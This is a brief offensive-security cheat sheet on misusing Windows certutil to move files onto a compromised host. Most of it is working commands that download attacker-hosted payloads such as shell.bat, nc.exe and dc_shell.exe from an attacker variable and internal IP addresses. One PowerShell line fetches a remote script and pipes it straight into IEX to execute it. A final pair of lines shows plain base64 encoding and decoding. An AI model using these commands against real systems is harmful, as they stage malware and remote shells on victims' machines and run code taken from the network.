certutil
certutil.exe intended use is for handling certificates but can also be used to transfer files by either downloading a file to disk or base64 encoding/decoding a file.
Import a file: (from a windows target host)
| certutil.exe -urlcache -split -f http://$ipAtacker:8080/shell.bat shell.bat
certutil.exe -urlcache -split -f http://192.168.45.172:8000/nc.exe "C:\Users\tony\Desktop\nc.exe"
certutil.exe -urlcache -split -f http://172.16.8.120:6666/dc_shell.exe dc_shell.exe
Invoke-WebRequest http://172.16.8.120:8765/dc_shell.exe -UseBasicParsing | IEX
|
Encode to base64:
| certutil -encode file1 encodedfile
|
Decode a file
| certutil -decode encodedfile file2
|